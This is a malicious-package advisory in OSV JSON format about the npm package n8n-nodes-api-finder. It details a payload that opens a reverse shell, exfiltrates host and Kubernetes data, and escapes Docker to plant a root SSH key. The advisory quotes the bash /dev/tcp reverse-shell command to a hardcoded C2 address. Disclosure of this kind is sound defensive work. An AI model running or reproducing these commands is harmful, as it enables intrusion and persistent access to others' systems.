{"id":"MAL-2026-10774","summary":"Malicious code in n8n-nodes-api-finder (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9bf8daf2e1d5bbbd97f3f8e6a31787ac5cd44c7d7f52c0228210bc0a8a7ed89c)\nPackage advertises itself as an n8n community node (package.json declares an n8n node MyNode.js, a benign 'API Finder' shim), but package.json main points to index.js, which runs a malicious payload on require/load. index.js opens a bash reverse shell to hardcoded C2 103.27.109.184:8895 via cp.spawn('/bin/bash', ['-c', 'exec 3\u003c\u003e/dev/tcp/103.27.109.184/8895; bash -i \u003c&3 \u003e&3 2\u003e&3']). It also collects host reconnaissance (hostname, id, hostname -I, docker ps, kubelet/kube config reads, environment variables) and ships it over raw TCP to 103.27.109.184:8890 and:8891. It attempts two Docker breakouts (bind-mount of / into an alpine container, and a privileged --pid=host nsenter) to append a hardcoded ed25519 public key labelled 'n8n-backdoor' to /root/.ssh/authorized_keys on the underlying host and chmod 600 the file, establishing persistent attacker root SSH access. It further docker-execs into a hardcoded Evolution API container to log in with admin credentials and reads /etc/kubernetes/kubelet.conf and /root/.kube/config from the host via bind-mount, forwarding results to the same C2. Two identical copies of the payload are shipped (index.js and package/index.js).\n\n## Source: ossf-package-analysis (2a12be5825677f0fa5f08f1fc7866257d0b73612c6358c83c058501762532a44)\nThe OpenSSF Package Analysis project identified 'n8n-nodes-api-finder' @ 1.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","modified":"2026-07-23T07:51:58.166240723Z","published":"2026-07-17T12:16:35Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-07-18T07:10:20.589055769Z","modified_time":"2026-07-17T12:16:35Z","versions":["1.0.0"],"source":"ossf-package-analysis","sha256":"2a12be5825677f0fa5f08f1fc7866257d0b73612c6358c83c058501762532a44"},{"id":"IN-MAL-2026-010804","modified_time":"2026-07-22T20:28:11Z","versions":["1.0.2"],"source":"amazon-inspector","sha256":"9bf8daf2e1d5bbbd97f3f8e6a31787ac5cd44c7d7f52c0228210bc0a8a7ed89c","import_time":"2026-07-22T20:31:08.03939108Z"},{"id":"IN-MAL-2026-010832","modified_time":"2026-07-22T20:37:06Z","versions":["1.0.1"],"source":"amazon-inspector","sha256":"37c63c31d4d7822e51eea84df622f8615bbe9e98204c4b10ac86db24870df4a7","import_time":"2026-07-22T20:59:14.308361978Z"},{"import_time":"2026-07-22T20:59:15.766181815Z","id":"IN-MAL-2026-010844","modified_time":"2026-07-22T20:38:42Z","versions":["1.0.0"],"source":"amazon-inspector","sha256":"c4ee6a693281ce3bd9d134cf5c680e570a61f380589b96cec483c1094d770a22"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/n8n-nodes-api-finder/v/1.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/n8n-nodes-api-finder/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/n8n-nodes-api-finder/v/1.0.0"}],"affected":[{"package":{"name":"n8n-nodes-api-finder","ecosystem":"npm","purl":"pkg:npm/n8n-nodes-api-finder"},"versions":["1.0.0","1.0.2","1.0.1"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"sha256":"e8d6fa7ec31ff9fca1502d4104bfa869f0563088ac44641abb638ae7f0d09b98","tlsh":"96511edabeb85620b539b0dc26db34063987c10a0682fa949067cb217e8e7cd86395e5","path":"index.js"},{"path":"package.json","sha256":"431ceca93a98de94f963a484bcb2ef2394d46b672183770fe7c40b2a73a67739","tlsh":"26d023150e32da3310c49d5119678615366d0cb69484f909a7471415439d6b715fe71c"}],"package_integrity":[{"filename":"n8n-nodes-api-finder-1.0.2.tgz","hashes":{"sha1":"a535bd89a0e68b838bd933d3f332bfc078ff7992","sha512_sri":"sha512-WypoxmrJXKdRbd6zIXlH4PpP0Bwdvs4M9G1rfHa4h8sD25FzVgCLp2ieoN927uZp0dmBDSNlUHo4p9zo/1RWAg=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/n8n-nodes-api-finder/MAL-2026-10774.json"}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}